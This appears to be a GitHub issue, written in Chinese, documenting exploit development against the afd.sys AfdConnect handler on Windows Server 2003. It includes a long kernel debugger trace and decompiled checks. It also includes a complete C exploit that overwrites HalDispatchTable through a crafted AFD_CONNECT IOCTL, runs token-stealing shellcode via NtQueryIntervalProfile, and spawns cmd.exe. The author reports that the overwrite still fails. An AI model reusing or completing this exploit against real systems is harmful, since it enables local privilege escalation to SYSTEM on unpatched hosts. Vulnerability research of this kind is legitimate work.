ba8c4b26 0f857f090000    jne     afd!AfdConnect+0x2c (ba8c54ab)
2: kd> p
afd!AfdConnect+0x35:
ba8c4b2c 8975e0          mov     dword ptr [ebp-20h],esi
2: kd> p
afd!AfdConnect+0x38:
ba8c4b2f 8975fc          mov     dword ptr [ebp-4],esi
2: kd> p
afd!AfdConnect+0x3b:
ba8c4b32 807f2000        cmp     byte ptr [edi+20h],0
2: kd> p
afd!AfdConnect+0x3f:
ba8c4b36 7428            je      afd!AfdConnect+0x66 (ba8c4b60)
2: kd> p
afd!AfdConnect+0x41:
ba8c4b38 3bc6            cmp     eax,esi
2: kd> p
afd!AfdConnect+0x43:
ba8c4b3a 7424            je      afd!AfdConnect+0x66 (ba8c4b60)
2: kd> p
afd!AfdConnect+0x45:
ba8c4b3c 8b4a10          mov     ecx,dword ptr [edx+10h]
2: kd> p
afd!AfdConnect+0x48:
ba8c4b3f f6c103          test    cl,3
2: kd> p
afd!AfdConnect+0x4b:
ba8c4b42 0f85741e0000    jne     afd!AfdConnect+0x4d (ba8c69bc)
2: kd> p
afd!AfdConnect+0x53:
ba8c4b48 8d3401          lea     esi,[ecx+eax]
2: kd> p
afd!AfdConnect+0x56:
ba8c4b4b a1f8258cba      mov     eax,dword ptr [afd!AfdUserProbeAddress (ba8c25f8)]
2: kd> p
afd!AfdConnect+0x5b:
ba8c4b50 3bf0            cmp     esi,eax
2: kd> p
afd!AfdConnect+0x5d:
ba8c4b52 0f875e090000    ja      afd!AfdConnect+0x63 (ba8c54b6)
2: kd> p
afd!AfdConnect+0x5f:
ba8c4b58 3bf1            cmp     esi,ecx
2: kd> p
afd!AfdConnect+0x61:
ba8c4b5a 0f8256090000    jb      afd!AfdConnect+0x63 (ba8c54b6)
2: kd> p
afd!AfdConnect+0x66:
ba8c4b60 8b4210          mov     eax,dword ptr [edx+10h]
2: kd> p
afd!AfdConnect+0x69:
ba8c4b63 8945b0          mov     dword ptr [ebp-50h],eax
2: kd> p
afd!AfdConnect+0x6c:
ba8c4b66 8a08            mov     cl,byte ptr [eax]
2: kd> p
afd!AfdConnect+0x6e:
ba8c4b68 884de7          mov     byte ptr [ebp-19h],cl
2: kd> p
afd!AfdConnect+0x71:
ba8c4b6b 8b7008          mov     esi,dword ptr [eax+8]
2: kd> p
afd!AfdConnect+0x74:
ba8c4b6e 8975bc          mov     dword ptr [ebp-44h],esi
2: kd> p
afd!AfdConnect+0x77:
ba8c4b71 8d700c          lea     esi,[eax+0Ch]
2: kd> p
afd!AfdConnect+0x7a:
ba8c4b74 8975ac          mov     dword ptr [ebp-54h],esi
2: kd> p
afd!AfdConnect+0x7d:
ba8c4b77 8b5a08          mov     ebx,dword ptr [edx+8]
2: kd> p
afd!AfdConnect+0x80:
ba8c4b7a 83eb0c          sub     ebx,0Ch
2: kd> p
afd!AfdConnect+0x83:
ba8c4b7d 895da8          mov     dword ptr [ebp-58h],ebx
2: kd> p
afd!AfdConnect+0x86:
ba8c4b80 834dfcff        or      dword ptr [ebp-4],0FFFFFFFFh
2: kd> p
afd!AfdConnect+0x8a:
ba8c4b84 85db            test    ebx,ebx
2: kd> p
afd!AfdConnect+0x8c:
ba8c4b86 0f8c3e090000    jl      afd!AfdConnect+0x399 (ba8c54ca)
2: kd> p
afd!AfdConnect+0x92:
ba8c4b8c 84c9            test    cl,cl
2: kd> p
afd!AfdConnect+0x94:
ba8c4b8e 750d            jne     afd!AfdConnect+0xab (ba8c4b9d)
2: kd> p
afd!AfdConnect+0x96:
ba8c4b90 833dc4258cba00  cmp     dword ptr [afd!AfdSanServiceHelper (ba8c25c4)],0
2: kd> p
afd!AfdConnect+0x9d:
ba8c4b97 0f85251e0000    jne     afd!AfdConnect+0x9f (ba8c69c2)
2: kd> p
afd!AfdConnect+0xab:
ba8c4b9d c745fc01000000  mov     dword ptr [ebp-4],1
2: kd> p
afd!AfdConnect+0xb2:
ba8c4ba4 68416664c9      push    0C9646641h
2: kd> p
afd!AfdConnect+0xb7:
ba8c4ba9 8d4330          lea     eax,[ebx+30h]
2: kd> p
afd!AfdConnect+0xba:
ba8c4bac 50              push    eax
2: kd> p
afd!AfdConnect+0xbb:
ba8c4bad 6a10            push    10h
2: kd> p
afd!AfdConnect+0xbd:
ba8c4baf ff1568108cba    call    dword ptr [afd!_imp__ExAllocatePoolWithQuotaTag (ba8c1068)]
2: kd> p
afd!AfdConnect+0xc3:
ba8c4bb5 8bd0            mov     edx,eax
2: kd> p
afd!AfdConnect+0xc5:
ba8c4bb7 8955d4          mov     dword ptr [ebp-2Ch],edx
2: kd> p
afd!AfdConnect+0xc8:
ba8c4bba 89570c          mov     dword ptr [edi+0Ch],edx
2: kd> p
afd!AfdConnect+0xcb:
ba8c4bbd 6a0c            push    0Ch
2: kd> p
afd!AfdConnect+0xcd:
ba8c4bbf 59              pop     ecx
2: kd> p
afd!AfdConnect+0xce:
ba8c4bc0 33c0            xor     eax,eax
2: kd> p
afd!AfdConnect+0xd0:
ba8c4bc2 8bfa            mov     edi,edx
2: kd> p
afd!AfdConnect+0xd2:
ba8c4bc4 f3ab            rep stos dword ptr es:[edi]
2: kd> p
afd!AfdConnect+0xd4:
ba8c4bc6 8d7a30          lea     edi,[edx+30h]
2: kd> p
afd!AfdConnect+0xd7:
ba8c4bc9 8bcb            mov     ecx,ebx
2: kd> p
afd!AfdConnect+0xd9:
ba8c4bcb 8bc1            mov     eax,ecx
2: kd> p
afd!AfdConnect+0xdb:
ba8c4bcd c1e902          shr     ecx,2
2: kd> p
afd!AfdConnect+0xde:
ba8c4bd0 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
2: kd> p
afd!AfdConnect+0xe0:
ba8c4bd2 8bc8            mov     ecx,eax
2: kd> p
afd!AfdConnect+0xe2:
ba8c4bd4 83e103          and     ecx,3
2: kd> p
afd!AfdConnect+0xe5:
ba8c4bd7 f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
2: kd> p
afd!AfdConnect+0xe7:
ba8c4bd9 8d4230          lea     eax,[edx+30h]
2: kd> p
afd!AfdConnect+0xea:
ba8c4bdc 833801          cmp     dword ptr [eax],1
2: kd> p
afd!AfdConnect+0xed:
ba8c4bdf 0f85821e0000    jne     afd!AfdConnect+0x369 (ba8c6a67)
2: kd> p
afd!AfdConnect+0xf3:
ba8c4be5 0fb74a34        movzx   ecx,word ptr [edx+34h]
2: kd> p
afd!AfdConnect+0xf7:
ba8c4be9 83c108          add     ecx,8
2: kd> p
afd!AfdConnect+0xfa:
ba8c4bec 3bd9            cmp     ebx,ecx
2: kd> p
afd!AfdConnect+0xfc:
ba8c4bee 0f8c731e0000    jl      afd!AfdConnect+0x369 (ba8c6a67)
2: kd> p
afd!AfdConnect+0x102:
ba8c4bf4 894214          mov     dword ptr [edx+14h],eax
2: kd> p
afd!AfdConnect+0x105:
ba8c4bf7 895a10          mov     dword ptr [edx+10h],ebx
2: kd> p
afd!AfdConnect+0x108:
ba8c4bfa 8b7dc4          mov     edi,dword ptr [ebp-3Ch]
2: kd> p
afd!AfdConnect+0x10b:
ba8c4bfd 33d2            xor     edx,edx
2: kd> p
afd!AfdConnect+0x10d:
ba8c4bff 8b5dd8          mov     ebx,dword ptr [ebp-28h]
2: kd> p
afd!AfdConnect+0x110:
ba8c4c02 395704          cmp     dword ptr [edi+4],edx
2: kd> p
afd!AfdConnect+0x113:
ba8c4c05 0f8776080000    ja      afd!AfdConnect+0x115 (ba8c5481)
2: kd> p
afd!AfdConnect+0x134:
ba8c4c0b 834dfcff        or      dword ptr [ebp-4],0FFFFFFFFh
2: kd> p
afd!AfdConnect+0x138:
ba8c4c0f 8b4f18          mov     ecx,dword ptr [edi+18h]
2: kd> p
afd!AfdConnect+0x13b:
ba8c4c12 894dd0          mov     dword ptr [ebp-30h],ecx
2: kd> p
afd!AfdConnect+0x13e:
ba8c4c15 8b710c          mov     esi,dword ptr [ecx+0Ch]
2: kd> p
afd!AfdConnect+0x141:
ba8c4c18 66813efdaa      cmp     word ptr [esi],0AAFDh
2: kd> p
afd!AfdConnect+0x146:
ba8c4c1d 0f8473070000    je      afd!AfdConnect+0x148 (ba8c5396)
2: kd> p
afd!AfdConnect+0x1a4:
ba8c4c23 ff1524128cba    call    dword ptr [afd!_imp_ObfReferenceObject (ba8c1224)]
2: kd> p
afd!AfdConnect+0x1aa:
ba8c4c29 66813ed1af      cmp     word ptr [esi],0AFD1h
2: kd> p
afd!AfdConnect+0x1af:
ba8c4c2e 0f849f030000    je      afd!AfdConnect+0x1b1 (ba8c4fd3)
2: kd> p
afd!AfdConnect+0x1c1:
ba8c4c34 8d8eb8000000    lea     ecx,[esi+0B8h]
2: kd> p
afd!AfdConnect+0x1c7:
ba8c4c3a 894db4          mov     dword ptr [ebp-4Ch],ecx
2: kd> p
afd!AfdConnect+0x1ca:
ba8c4c3d 6a03            push    3
2: kd> p
afd!AfdConnect+0x1cc:
ba8c4c3f 5a              pop     edx
2: kd> p
afd!AfdConnect+0x1cd:
ba8c4c40 33c0            xor     eax,eax
2: kd> p
afd!AfdConnect+0x1cf:
ba8c4c42 f00fb111        lock cmpxchg dword ptr [ecx],edx
2: kd> p
afd!AfdConnect+0x1d3:
ba8c4c46 85c0            test    eax,eax
2: kd> p
afd!AfdConnect+0x1d5:
ba8c4c48 0f858d1d0000    jne     afd!AfdConnect+0x1d7 (ba8c69db)
2: kd> p
afd!AfdConnect+0x1e3:
ba8c4c4e 668b06          mov     ax,word ptr [esi]
2: kd> p
afd!AfdConnect+0x1e6:
ba8c4c51 663dd0af        cmp     ax,0AFD0h
2: kd> p
afd!AfdConnect+0x1ea:
ba8c4c55 0f85891d0000    jne     afd!AfdConnect+0x1ec (ba8c69e4)
2: kd> p
afd!AfdConnect+0x1f6:
ba8c4c5b 8b460c          mov     eax,dword ptr [esi+0Ch]
2: kd> p
afd!AfdConnect+0x1f9:
ba8c4c5e a801            test    al,1
2: kd> p
afd!AfdConnect+0x1fb:
ba8c4c60 0f8558080000    jne     afd!AfdConnect+0x315 (ba8c54be)
2: kd> p
afd!AfdConnect+0x201:
ba8c4c66 807e0202        cmp     byte ptr [esi+2],2     <--- [0]
2: kd> p
afd!AfdConnect+0x205:
ba8c4c6a 0f854e080000    jne     afd!AfdConnect+0x315 (ba8c54be) <--- [1]
2: kd> p
afd!AfdConnect+0x315:
ba8c54be c745e00d0000c0  mov     dword ptr [ebp-20h],0C000000Dh
2: kd> p
afd!AfdConnect+0x31c:
ba8c54c5 e956150000      jmp     afd!AfdConnect+0x321 (ba8c6a20)
2: kd> p
afd!AfdConnect+0x321:
ba8c6a20 33c0            xor     eax,eax
2: kd> p
afd!AfdConnect+0x323:
ba8c6a22 8701            xchg    eax,dword ptr [ecx]
2: kd> p
afd!AfdConnect+0x325:
ba8c6a24 8b4dd0          mov     ecx,dword ptr [ebp-30h]
2: kd> p
afd!AfdConnect+0x328:
ba8c6a27 ff1544128cba    call    dword ptr [afd!_imp_ObfDereferenceObject (ba8c1244)]
2: kd> p
afd!AfdConnect+0x32e:
ba8c6a2d 8b7dd8          mov     edi,dword ptr [ebp-28h]
2: kd> p
afd!AfdConnect+0x331:
ba8c6a30 33f6            xor     esi,esi
2: kd> p
afd!AfdConnect+0x333:
ba8c6a32 3975d4          cmp     dword ptr [ebp-2Ch],esi
2: kd> p
afd!AfdConnect+0x336:
ba8c6a35 7411            je      afd!AfdConnect+0x349 (ba8c6a48)
2: kd> p
afd!AfdConnect+0x338:
ba8c6a37 68416664c9      push    0C9646641h
2: kd> p
afd!AfdConnect+0x33d:
ba8c6a3c ff75d4          push    dword ptr [ebp-2Ch]
2: kd> p
afd!AfdConnect+0x340:
ba8c6a3f ff1534128cba    call    dword ptr [afd!_imp__ExFreePoolWithTag (ba8c1234)]
2: kd> p
afd!AfdConnect+0x346:
ba8c6a45 89770c          mov     dword ptr [edi+0Ch],esi
2: kd> p
afd!AfdConnect+0x349:
ba8c6a48 89771c          mov     dword ptr [edi+1Ch],esi
2: kd> p
afd!AfdConnect+0x34c:
ba8c6a4b 8b45e0          mov     eax,dword ptr [ebp-20h]
2: kd> p
afd!AfdConnect+0x34f:
ba8c6a4e 894718          mov     dword ptr [edi+18h],eax
2: kd> p
afd!AfdConnect+0x352:
ba8c6a51 8a1512208cba    mov     dl,byte ptr [afd!AfdPriorityBoost (ba8c2012)]
2: kd> p
afd!AfdConnect+0x358:
ba8c6a57 8bcf            mov     ecx,edi
2: kd> p
afd!AfdConnect+0x35a:
ba8c6a59 ff1538128cba    call    dword ptr [afd!_imp_IofCompleteRequest (ba8c1238)]
2: kd> p
afd!AfdConnect+0x360:
ba8c6a5f 8b45e0          mov     eax,dword ptr [ebp-20h]
2: kd> p
afd!AfdConnect+0x363:
ba8c6a62 e9f7e2ffff      jmp     afd!AfdConnect+0x363 (ba8c4d5e)
2: kd> p
afd!AfdConnect+0x363:
ba8c4d5e e81da4ffff      call    afd!_SEH_epilog (ba8bf180)
2: kd> p
afd!AfdConnect+0x368:
ba8c4d63 c3              ret
2: kd> p
afd!AfdDispatchDeviceControl+0x53:
ba8cd097 5f              pop     edi
--------------------------------------------------------------------

根据代码发现其在[0]处进行判断,[1]处进行跳转,跟踪对应伪代码发现

--------------------------------------------------------------------
if ( *(_WORD *)v12 != 0xAFD0 && *(_WORD *)v12 != 0xAFD2
    || (v14 = *(_DWORD *)(v12 + 12), (v14 & 1) != 0)
    || *(_BYTE *)(v12 + 2) != 2 )
  {
    Connection = 0xC000000D;
LABEL_47:
    _InterlockedExchange(v13, 0);
    goto LABEL_48;
  }
--------------------------------------------------------------------

直接这么看,不够直观,可能需要结合源码来看

--------------------------------------------------------------------
if ( IS_DGRAM_ENDPOINT(endpoint) ) {
    return AfdDoDatagramConnect( fileObject, Irp, FALSE );
}

if (!AFD_START_STATE_CHANGE (endpoint, AfdEndpointStateConnected)) {
    status = STATUS_INVALID_PARAMETER;
    goto complete_deref;
}

if ( endpoint->Type != AfdBlockTypeEndpoint &&
            endpoint->Type != AfdBlockTypeVcConnecting ) {
    status = STATUS_INVALID_PARAMETER;
    goto complete_state_change;
}

//
// If the endpoint is not bound, then this is an invalid request.
// Listening endpoints are not allowed as well.
//

if ( endpoint->Listening ||
        endpoint->State != AfdEndpointStateBound ) {
    status = STATUS_INVALID_PARAMETER;
    goto complete_state_change;
}
--------------------------------------------------------------------

其中条件

endpoint->Listening || endpoint->State != AfdEndpointStateBound

是判断失败的部分,不进入错误分支需要两个条件

a. 不在Listening状态
b. 需要为AfdEndpointStateBound状态

通过搜索发现,能够解决该问题,具体解决办法如下

bind(tcp_socket, 
     (struct sockaddr *)&peer, 
     sizeof(struct sockaddr))

将客户端发起连接的端口设置为Bound,但是不在Listen

最后使用如下代码测试


--------------------------------------------------------------------
#include "stdafx.h"

#include <stdio.h>
#include <Winsock2.h>
#include <Ws2tcpip.h>
#include <ntsecapi.h>

#pragma comment(lib, "ws2_32.lib")

#define AFD_CONNECT            0x12007

typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructioEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegisterQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknown;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;


// 模拟 TDI 地址结构
typedef struct _TDI_ADDRESS_IP {
    USHORT sin_port;
    ULONG  in_addr;
    UCHAR  sin_zero[8];
} TDI_ADDRESS_IP, *PTDI_ADDRESS_IP;

typedef struct _TA_ADDRESS_IP {
    USHORT AddressLength; // 长度
    USHORT AddressType;   // 类型
    TDI_ADDRESS_IP Address;
} TA_ADDRESS_IP, *PTA_ADDRESS_IP;

typedef struct _TRANSPORT_ADDRESS_IP {
    LONG TAAddressCount;  // 必须为 1
    TA_ADDRESS_IP Address[1];
} TRANSPORT_ADDRESS_IP, *PTRANSPORT_ADDRESS_IP;

// 模拟 AFD 连接信息结构 (对齐处理)
#pragma pack(push, 1)
typedef struct _AFD_CONNECT_JOIN_INFO_PAYLOAD {
    BOOLEAN SanActive;      // Offset 0
    UCHAR   Padding[3];     // Offset 1-3 (对齐到 4 字节)
    HANDLE  RootEndpoint;   // Offset 4
    HANDLE  ConnectEndpoint;// Offset 8
    TRANSPORT_ADDRESS_IP RemoteAddress; // Offset 12
} AFD_CONNECT_JOIN_INFO_PAYLOAD, *PAFD_CONNECT_JOIN_INFO_PAYLOAD;
#pragma pack(pop)

typedef NTSTATUS(NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE,
                                                 PVOID *,
                                                 ULONG,
                                                 PULONG,
                                                 ULONG,
                                                 ULONG);

ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;


void ErrorQuit(char *pMsg) {
    printf("%sError Code:%d\n", pMsg, GetLastError());
    ExitProcess(0);
}


void GetFunction() {
    HMODULE hNtdll;

    hNtdll = LoadLibrary("ntdll.dll");
    if (hNtdll == NULL) {
        ErrorQuit("LoadLibrary() failed.\n");
    }

    ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(
        hNtdll,
        "NtQueryIntervalProfile");
    if (ZwQueryIntervalProfile == NULL) {
        ErrorQuit("GetProcAddress() failed.\n");
    }

    ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
        hNtdll,
        "ZwQuerySystemInformation");
    if (ZwQuerySystemInformation == NULL) {
        ErrorQuit("GetProcessAddress() failed.\n");
    }

    ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(
        hNtdll,
        "NtAllocateVirtualMemory");
    if (ZwAllocateVirtualMemory == NULL) {
        ErrorQuit("GetProcAddress() failed.\n");
    }
    FreeLibrary(hNtdll);
}


ULONG GetKernelBase(char *KernelName) {
    ULONG i, Byte, ModuleCount, KernelBase;
    PVOID pBuffer;
    PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
    PCHAR pName;

 

    ZwQuerySystemInformation(SystemModuleInformation, 
                             (PVOID)&Byte, 
                             0, 
                             &Byte);

    if ((pBuffer = malloc(Byte)) == NULL) {
        ErrorQuit("malloc failed.\n");
    }

    if (ZwQuerySystemInformation(SystemModuleInformation, 
                                 pBuffer, 
                                 Byte, 
                                 &Byte)) {
        ErrorQuit("ZwQuerySystemInformation failed\n");
    }

    ModuleCount = *(PULONG)pBuffer;
    pSystemModuleInformation =
        (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
    for (i = 0; i < ModuleCount; i++) {
        if ((pName = strstr(pSystemModuleInformation->ImageName,
                            "ntoskrnl.exe")) != NULL) {
            KernelBase = (ULONG)pSystemModuleInformation->Base;
            printf("Kernel is %s\n", pSystemModuleInformation->ImageName);
            free(pBuffer);
            strcpy(KernelName, "ntoskrnl.exe");

            return KernelBase;
        }

        if ((pName = strstr(pSystemModuleInformation->ImageName,
                            "ntkrnlpa.exe")) != NULL) {
            KernelBase = (ULONG)pSystemModuleInformation->Base;
            printf("Kernel is %s(0x%p)\n",
                   pSystemModuleInformation->ImageName,
                   KernelBase);
            free(pBuffer);
            strcpy(KernelName, "ntkrnlpa.exe");

            return KernelBase;
        }
        pSystemModuleInformation++;
    }

    free(pBuffer);
    return 0;
}


int main() {

    WSADATA ws;

    ULONG junk, KernelBase, dwShellSize = 0x1000;
    ULONG_PTR HalDispatchTable;
    char KernelName[64];
    OSVERSIONINFO ovi;
    HMODULE hKernel;
    // LPVOID addr = (LPVOID)0x00000000;
    LPVOID addr = (LPVOID)0x00000001;
    SOCKET tcp_socket;
    struct sockaddr_in peer;
    KPROFILE_SOURCE ProfileSource;
    ULONG_PTR info_result;
    PROCESS_INFORMATION pi;
    STARTUPINFOA stStartup;
    AFD_CONNECT_JOIN_INFO_PAYLOAD payload;
    NTSTATUS status, alloc_status;
    struct addrinfo *result = NULL,
                *ptr = NULL,
                hints;

    WSAStartup(0x0202, &ws);
    printf("[+] Get function address...");
    GetFunction();
    printf("OK!\n");

    printf("[+] get kernel base...");
    KernelBase = GetKernelBase(KernelName);
    if (!KernelBase) { 
        ErrorQuit("failed!\n");
    }
    printf("OK!\n");

    // 判断OS版本
    ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if (!GetVersionEx(&ovi)) {
        ErrorQuit("GetVersionEx() failed.\n");
    }

    if (ovi.dwMajorVersion != 5 && ovi.dwMinorVersion != 2) {
        ErrorQuit("Not Windows 2003.\n");
    }

    printf("[+] load kernel library: %s...", KernelName);
    hKernel = LoadLibrary(KernelName);
    if (!hKernel) {
        ErrorQuit("failed!\n");
    }
    printf("OK!\n");
    HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel, "HalDispatchTable");
    HalDispatchTable += KernelBase - (ULONG)hKernel;
    printf("[+] HalDispatchTable found    \t\t\t [ 0x%p ]\n", HalDispatchTable);

    // 分配内存
    printf("[+] allocate memory at [0x%p]...", addr);
    alloc_status = ZwAllocateVirtualMemory(INVALID_HANDLE_VALUE,
                            &addr, 
                            0, 
                            &dwShellSize,
                            MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, 
                            PAGE_EXECUTE_READWRITE);
    if (alloc_status != 0) {
        ErrorQuit("failed!\n");
    }
    printf("OK!\n");
    printf("[+] shellcode addr: %x\n", addr);

    // 准备sc
    memset(addr, 0x90, dwShellSize);

    unsigned char shellcode[] = {
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0x90,                               // nop
        0xCC,                               // nop
        0x60,                               // pusha
        0x9c,                               // pushf
        0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, // mov eax, fs:[124]
        0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov    esi,DWORD PTR [eax+0x218]
        0x89, 0xf0,                         // mov    eax,esi
        // <search2k3sp1>:
        0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, // mov    eax,DWORD PTR [eax+0x98]
        0x2d, 0x98, 0x00, 0x00, 0x00,       // sub    eax,0x98
        0x8b, 0x90, 0x94, 0x00, 0x00, 0x00, // mov    edx,DWORD PTR [eax+0x94]
        0x83, 0xfa, 0x04,                   // cmp    edx,0x4
        0x75, 0xea,                         // jne    17 <search2k3sp1>
        0x8b, 0x80, 0xd8, 0x00, 0x00, 0x00, // mov    eax,DWORD PTR [eax+0xd8]
        0x89, 0x86, 0xd8, 0x00, 0x00, 0x00, // mov    DWORD PTR [esi+0xd8],eax
        0x9d,                               // popf
        0x61,                               // popa
        0xc2, 0x10, 0x00                    // ret    0x10
    };

    memcpy((void*)((BYTE*)addr + 0x100),
           (void*)shellcode, 
           sizeof(shellcode));

    peer.sin_family = AF_INET;
    peer.sin_port = htons(0);
   
    // inet_addr("127.0.0.1");   
    // peer.sin_addr.s_addr = 0x100007f;
    peer.sin_addr.s_addr = inet_addr("127.0.0.1");;
    tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
    // if (connect(tcp_socket, 
    //             (struct sockaddr *)&peer, 
    //             sizeof(struct sockaddr))) {
    //     closesocket(tcp_socket);
    //     WSACleanup();
    //     ErrorQuit("connect failed.\n");
    // }

    if (bind(tcp_socket, 
             (struct sockaddr *)&peer, 
             sizeof(struct sockaddr))==SOCKET_ERROR) {
        closesocket(tcp_socket);
        WSACleanup();
        ErrorQuit("bind failed.\n");
    }
    printf("[+] Socket bound successfully (State transitioned to Bound).\n");

    memset(&payload, 0, sizeof(payload));

    payload.SanActive = FALSE;
    payload.RootEndpoint = NULL;
    payload.ConnectEndpoint = NULL;

    // bypass context->RemoteAddress.TAAddressCount != 1
    payload.RemoteAddress.TAAddressCount = 1; 

    // 关键:绕过长度检查
    // RemoteAddressLength 计算基于 InputBufferLength
    // 内部 AddressLength 必须匹配
    payload.RemoteAddress.Address[0].AddressLength = sizeof(TDI_ADDRESS_IP); // 14
    payload.RemoteAddress.Address[0].AddressType = 2; // TDI_ADDRESS_TYPE_IP

    // 填充一个有效的 IP 地址,增加成功返回 STATUS_SUCCESS 的几率
    payload.RemoteAddress.Address[0].Address.sin_port = htons(445);
    payload.RemoteAddress.Address[0].Address.in_addr = inet_addr("127.0.0.1");

    printf("[+] Overwriting HalDispatchTable with those bytes...\n");

    system("pause");
    DeviceIoControl((HANDLE)tcp_socket,
                    AFD_CONNECT,
                    (LPVOID)&payload,
                    sizeof(payload),
                    (LPVOID)(HalDispatchTable+4),
                    0,
                    &junk,
                    NULL);
    printf("\n\n");

    printf("[+] Executing shellcode...");
    ProfileSource = ProfileTotalIssues;
    ZwQueryIntervalProfile(ProfileSource, &info_result);
    printf("OK!\n");

    printf("[+] Create a new process...");
    GetStartupInfo(&stStartup);
    CreateProcess(NULL,
                  "cmd.exe",
                  NULL,
                  NULL,
                  TRUE,
                  NULL,
                  NULL,
                  NULL,
                  &stStartup,
                  &pi);
    printf("OK!\n");

    return 0;
}
--------------------------------------------------------------------

执行会遇到问题

--------------------------------------------------------------------
Access violation - code c0000005 (!!! second chance !!!)
c000094c 0000            add     byte ptr [eax],al
0: kd> dd HalDispatchTable L8
80894078  00000003 c00000b5 80a779f4 808e7028
80894088  00000000 8081a784 808e61d2 808e6a68
--------------------------------------------------------------------

这个问题尝试使用以下几种办法

1. 自建监听端口127.0.0.1:8888,失败
2. htons(445)/htons(135),失败
3. htons(0),失败

失败的原因主要有两个

STATUS_CONNECTION_REFUSED(0xC0000207)
STATUS_IO_TIMEOUT(0xC00000B5)

卡在这个问题,卡了两周多,始终没有好的办法来解决,在感觉没有希望的时候,
看到了exploit-db上面的利用的新思路,下面会尝试使用新思路来解决问题

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions